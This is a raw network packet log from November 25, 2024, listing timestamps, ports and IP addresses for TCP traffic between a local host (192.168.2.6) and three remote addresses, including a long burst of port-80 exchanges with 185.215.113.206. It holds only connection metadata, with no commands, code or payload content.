Nov 25, 2024 05:46:47.322104931 CET	443	49878	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.322529078 CET	49878	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.322545052 CET	443	49878	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.322993040 CET	49878	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.322997093 CET	443	49878	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.330467939 CET	443	49883	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:47.330544949 CET	443	49883	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:47.330590963 CET	49883	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:47.331010103 CET	49883	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:47.331037045 CET	443	49883	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:47.342634916 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.343014956 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.343034983 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.343485117 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.343489885 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.349389076 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.349807978 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.349816084 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.350297928 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.350301981 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.374699116 CET	443	49881	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.376173019 CET	49881	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.376199961 CET	443	49881	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.376593113 CET	49881	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.376597881 CET	443	49881	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.379585028 CET	443	49885	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:47.381280899 CET	49885	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:47.381292105 CET	443	49885	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:47.382761002 CET	443	49885	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:47.382841110 CET	49885	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:47.384851933 CET	49885	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:47.384933949 CET	443	49885	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:47.409989119 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.410003901 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.410227060 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.410480976 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.410521030 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.410913944 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.410969973 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.411598921 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.411660910 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.411721945 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.412067890 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.412678957 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.412761927 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.412898064 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.413002014 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.413681030 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.413746119 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.413925886 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.414720058 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.414787054 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.414897919 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.415023088 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.415831089 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.415932894 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.415939093 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.415983915 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.416964054 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.416976929 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.417032003 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.417053938 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.418016911 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.418087006 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.418174028 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.418349981 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.419107914 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.419120073 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.419156075 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.419181108 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.420192957 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.420206070 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.420254946 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.420278072 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.421287060 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.421304941 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.421350956 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.421386957 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.422362089 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.422378063 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.422558069 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.423427105 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.423492908 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.424067020 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.424245119 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.424509048 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.424524069 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.424592018 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.424592018 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.425555944 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.425605059 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.425627947 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.425900936 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.426151991 CET	443	49884	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:47.426646948 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.426718950 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.426870108 CET	49884	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:47.426878929 CET	443	49884	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:47.426938057 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.426997900 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.427221060 CET	443	49884	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:47.427525043 CET	49884	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:47.427580118 CET	443	49884	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:47.427738905 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.427946091 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.427994013 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.428831100 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.428862095 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.428925991 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.429272890 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.430113077 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.430120945 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.430130005 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.430214882 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.430614948 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.430623055 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.431016922 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.431029081 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.431047916 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.431070089 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.431102037 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.432094097 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.432606936 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.433201075 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.433216095 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.433228016 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.433243990 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.433264971 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.434252977 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.434314966 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.435214996 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.435261011 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.435388088 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.435400009 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.435494900 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.436461926 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.436474085 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.436538935 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.437520027 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.437583923 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.438608885 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.438621044 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.438666105 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.438707113 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.438751936 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.439656973 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.440757990 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.440771103 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.440781116 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.440844059 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.440891027 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.441837072 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.442322016 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.442956924 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.442969084 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.442981005 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.443021059 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.443058014 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.444020033 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.444082022 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.445111036 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.445125103 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.445146084 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.445169926 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.445204020 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.446147919 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.446413040 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.446954966 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.447061062 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.447225094 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.447344065 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.447387934 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.448318958 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.448999882 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.449071884 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.449417114 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.449525118 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.449693918 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.449748039 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.450478077 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.451199055 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.451251030 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.451585054 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.451704979 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.451745033 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.452685118 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.453787088 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.453799009 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.453810930 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.453856945 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.453877926 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.454849005 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.454900026 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.455208063 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.455326080 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.455946922 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.455960989 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.456016064 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.456983089 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.457050085 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.457204103 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.457355022 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.458152056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.458168030 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.458273888 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.459260941 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.459274054 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.459337950 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.460237026 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.460294962 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.460355043 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.460825920 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.461343050 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.461400032 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.462435961 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.462447882 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.462460995 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.462512016 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.462543011 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.463495016 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.463543892 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.463697910 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.463781118 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.464607954 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.464621067 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.464652061 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.464670897 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.465727091 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.465739012 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.465790033 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.466700077 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.466759920 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.490202904 CET	49885	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:47.490216017 CET	443	49885	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:47.556967020 CET	49884	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:47.611330986 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.611345053 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.611416101 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.611907959 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.612164021 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.612899065 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.612956047 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.612970114 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.613343000 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.614001036 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.614187956 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.614233971 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.615065098 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.615205050 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.615233898 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.615281105 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.616189003 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.616260052 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.617269039 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.617299080 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.617322922 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.617345095 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.618370056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.618383884 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.618431091 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.619467974 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.619479895 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.619509935 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.620537996 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.620557070 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.620601892 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.620626926 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.621604919 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.621618032 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.622709036 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.622724056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.622756004 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.622782946 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.623800993 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.623816013 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.623851061 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.623867989 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.624861002 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.624872923 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.624905109 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.624918938 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.625971079 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.625986099 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.626040936 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.627010107 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.627432108 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.627877951 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.628125906 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.628137112 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.629216909 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.629229069 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.629270077 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.630311012 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.630322933 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.630765915 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.631356955 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.631428957 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.631438971 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.631473064 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.632452011 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.633238077 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.633517027 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.633528948 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.633538961 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.633580923 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.633605957 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.634584904 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.634620905 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.635045052 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.635566950 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.635672092 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.635689974 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.635727882 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.636761904 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.636804104 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.636926889 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.637038946 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.637895107 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.637906075 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.637948990 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.638051033 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.638993979 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.639004946 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.639049053 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.639982939 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.640019894 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.640913010 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.640969038 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.641143084 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.641155958 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.641182899 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.641205072 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.642256975 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.642339945 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.643202066 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.643273115 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.643285990 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.643317938 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.643345118 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.644319057 CET	80	49829	185.215.113.206	192.168.2.6
